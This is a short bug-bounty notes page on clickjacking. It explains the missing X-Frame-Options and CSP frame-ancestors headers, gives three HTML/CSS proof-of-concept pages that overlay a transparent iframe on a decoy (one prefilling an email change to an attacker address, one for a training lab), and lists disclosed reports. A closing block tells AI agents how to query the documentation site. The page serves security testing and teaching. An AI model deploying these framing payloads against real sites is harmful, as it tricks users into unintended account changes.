# Clickjacking

{% hint style="info" %}
Clickjacking attacks are possible whenever websites can be framed.
{% endhint %}

### Reason of Vuln:

1. (deprecated) Absent of **`X-Frame-Options:`** headers ,which has three value `deny` , `sameorigin`, `allow-from origin`  value. and `allow-from origin` is still vulnerable by some browser.
2. (new standard) Or Absent of **`CSP: frame-ancestors`** headers. Like,

<pre class="language-http"><code class="lang-http"><strong>Content-Security-Policy: frame-ancestors &#x3C;source>;
</strong>Content-Security-Policy: frame-ancestors &#x3C;space separated list of sources>;
</code></pre>

These 2 headers used to indicate whether a browser should be allowed to render a page in a [`<frame>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) or [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object). if these header are absent then target is vulnerable.

{% hint style="info" %}
Clickjacking should report when it affact pages with sensitive actions , Like email, password change&#x20;
{% endhint %}

## Exploit:

```html
<html>
 <head>
<title>Clickjack test page</title>
 </head>
 <body>
 <iframe sandbox="allow-forms" src="https://www.vulnerable-site.com/" width="500" height="500"></iframe>
</body>
</html>
```

```
<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com/my-account?email=hacker@attacker-website.com">
	</iframe>
</body>
```

bypassing frame buster which prevents the website from being framed

```
<style>
    iframe {
        position:relative;
        width:$width_value;
        height: $height_value;
        opacity: $opacity;
        z-index: 2;
    }
    div {
        position:absolute;
        top:$top_value;
        left:$side_value;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe 


src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
```

### Example Reports:

1. <https://hackerone.com/reports/591432>
2. <https://hackerone.com/reports/1574017>
3. <https://hackerone.com/reports/892289>
4. <https://medium.com/metamask/metamask-awards-bug-bounty-for-clickjacking-vulnerability-9f53618e3c3a> ($120,000 for a clickjacking).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/clickjacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
